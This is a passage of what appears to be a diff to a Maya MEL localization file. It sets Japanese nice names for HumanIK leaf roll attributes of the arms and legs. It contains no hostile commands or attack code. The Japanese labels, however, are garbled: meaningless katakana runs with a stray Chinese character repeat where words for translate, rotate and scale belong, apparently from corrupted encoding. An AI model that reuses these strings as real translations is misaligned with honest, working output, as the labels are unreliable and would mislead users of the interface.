"メカモメアロイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreRx", "メカモメアロイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreRy", "メカモメアロイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreRz", "メカモメアロイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostR", "メカモメアロイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostRx", "メカモメアロイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostRy", "メカモメアロイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostRz", "メカモメアロイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3T", "メカモメヌーアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Tx", "メカモメヌーアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Ty", "メカモメヌーアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Tz", "メカモメヌーアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3R", "メカモメヌーアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Rx", "メカモメヌーアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Ry", "メカモメヌーアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Rz", "メカモメヌーアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3S", "メカモメヌーアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Sx", "メカモメヌーアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Sy", "メカモメヌーアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Sz", "メカモメヌーアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PGX", "メカモメヌーアロイ犹 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", "メカモメヌーアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3SC", "メカモメヌーアロイ犹 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3IS", "メカモメヌーアロイ犹 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ISx", "メカモメヌーアロイ犹 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ISy", "メカモメヌーアロイ犹 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ISz", "メカモメヌーアロイ犹 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreR", "メカモメヌーアロイ犹 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreRx", "メカモメヌーアロイ犹 3 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreRy", "メカモメヌーアロイ犹 3 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreRz", "メカモメヌーアロイ犹 3 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostR", "メカモメヌーアロイ犹 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostRx", "メカモメヌーアロイ犹 3 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostRy", "メカモメヌーアロイ犹 3 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostRz", "メカモメヌーアロイ犹 3 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4T", "メカラエヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Tx", "メカラエヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Ty", "メカラエヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Tz", "メカラエヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4R", "メカラエヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Rx", "メカラエヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Ry", "メカラエヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Rz", "メカラエヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4S", "メカラエヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Sx", "メカラエヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Sy", "メカラエヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Sz", "メカラエヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PGX", "メカラエヘネイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", "メカラエヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4SC", "メカラエヘネイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4IS", "メカラエヘネイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ISx", "メカラエヘネイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ISy", "メカラエヘネイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ISz", "メカラエヘネイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreR", "メカラエヘネイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreRx", "メカラエヘネイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreRy", "メカラエヘネイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreRz", "メカラエヘネイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostR", "メカラエヘネイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostRx", "メカラエヘネイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostRy", "メカラエヘネイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostRz", "メカラエヘネイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4T", "メカラヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Tx", "メカラヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Ty", "メカラヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Tz", "メカラヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4R", "メカラヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Rx", "メカラヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Ry", "メカラヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Rz", "メカラヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4S", "メカラヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Sx", "メカラヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Sy", "メカラヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Sz", "メカラヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PGX", "メカラヘネイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", "メカラヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4SC", "メカラヘネイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4IS", "メカラヘネイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ISx", "メカラヘネイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ISy", "メカラヘネイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ISz", "メカラヘネイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreR", "メカラヘネイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreRx", "メカラヘネイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreRy", "メカラヘネイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreRz", "メカラヘネイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostR", "メカラヘネイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostRx", "メカラヘネイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostRy", "メカラヘネイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostRz", "メカラヘネイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4T", "メカモメエヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Tx", "メカモメエヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Ty", "メカモメエヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Tz", "メカモメエヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4R", "メカモメエヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Rx", "メカモメエヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Ry", "メカモメエヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Rz", "メカモメエヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4S", "メカモメエヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Sx", "メカモメエヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Sy", "メカモメエヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Sz", "メカモメエヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PGX", "メカモメエヘネイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", "メカモメエヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4SC", "メカモメエヘネイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4IS", "メカモメエヘネイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ISx", "メカモメエヘネイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ISy", "メカモメエヘネイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ISz", "メカモメエヘネイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreR", "メカモメエヘネイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreRx", "メカモメエヘネイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreRy", "メカモメエヘネイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreRz", "メカモメエヘネイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostR", "メカモメエヘネイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostRx", "メカモメエヘネイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostRy", "メカモメエヘネイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostRz", "メカモメエヘネイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4T", "メカモメヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Tx", "メカモメヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Ty", "メカモメヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Tz", "メカモメヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4R", "メカモメヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Rx", "メカモメヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Ry", "メカモメヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Rz", "メカモメヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4S", "メカモメヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Sx", "メカモメヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Sy", "メカモメヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Sz", "メカモメヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PGX", "メカモメヘネイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ROrder", "メカモメヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4SC", "メカモメヘネイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4IS", "メカモメヘネイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ISx", "メカモメヘネイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ISy", "メカモメヘネイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ISz", "メカモメヘネイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreR", "メカモメヘネイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreRx", "メカモメヘネイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreRy", "メカモメヘネイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreRz", "メカモメヘネイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostR", "メカモメヘネイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostRx", "メカモメヘネイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostRy", "メカモメヘネイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostRz", "メカモメヘネイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4T", "メカラアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Tx", "メカラアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Ty", "メカラアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Tz", "メカラアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4R", "メカラアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Rx", "メカラアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Ry", "メカラアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Rz", "メカラアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4S", "メカラアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Sx", "メカラアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Sy", "メカラアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Sz", "メカラアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PGX", "メカラアロイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", "メカラアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4SC", "メカラアロイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4IS", "メカラアロイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ISx", "メカラアロイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ISy", "メカラアロイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4ISz", "メカラアロイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreR", "メカラアロイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreRx", "メカラアロイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreRy", "メカラアロイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PreRz", "メカラアロイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostR", "メカラアロイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostRx", "メカラアロイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostRy", "メカラアロイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4PostRz", "メカラアロイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4T", "メカラヌーアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Tx", "メカラヌーアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Ty", "メカラヌーアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Tz", "メカラヌーアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4R", "メカラヌーアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Rx", "メカラヌーアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Ry", "メカラヌーアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Rz", "メカラヌーアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4S", "メカラヌーアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Sx", "メカラヌーアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Sy", "メカラヌーアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4Sz", "メカラヌーアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PGX", "メカラヌーアロイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", "メカラヌーアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4SC", "メカラヌーアロイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4IS", "メカラヌーアロイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ISx", "メカラヌーアロイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ISy", "メカラヌーアロイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4ISz", "メカラヌーアロイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreR", "メカラヌーアロイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreRx", "メカラヌーアロイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreRy", "メカラヌーアロイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PreRz", "メカラヌーアロイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostR", "メカラヌーアロイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostRx", "メカラヌーアロイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostRy", "メカラヌーアロイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll4PostRz", "メカラヌーアロイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4T", "メカモメアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Tx", "メカモメアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Ty", "メカモメアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Tz", "メカモメアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4R", "メカモメアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Rx", "メカモメアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Ry", "メカモメアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Rz", "メカモメアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4S", "メカモメアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Sx", "メカモメアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Sy", "メカモメアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4Sz", "メカモメアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PGX", "メカモメアロイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ROrder", "メカモメアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4SC", "メカモメアロイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4IS", "メカモメアロイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ISx", "メカモメアロイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ISy", "メカモメアロイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4ISz", "メカモメアロイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreR", "メカモメアロイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreRx", "メカモメアロイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreRy", "メカモメアロイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PreRz", "メカモメアロイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostR", "メカモメアロイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostRx", "メカモメアロイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostRy", "メカモメアロイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll4PostRz", "メカモメアロイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4T", "メカモメヌーアロイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Tx", "メカモメヌーアロイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Ty", "メカモメヌーアロイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Tz", "メカモメヌーアロイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4R", "メカモメヌーアロイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Rx", "メカモメヌーアロイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Ry", "メカモメヌーアロイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Rz", "メカモメヌーアロイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4S", "メカモメヌーアロイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Sx", "メカモメヌーアロイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Sy", "メカモメヌーアロイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4Sz", "メカモメヌーアロイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PGX", 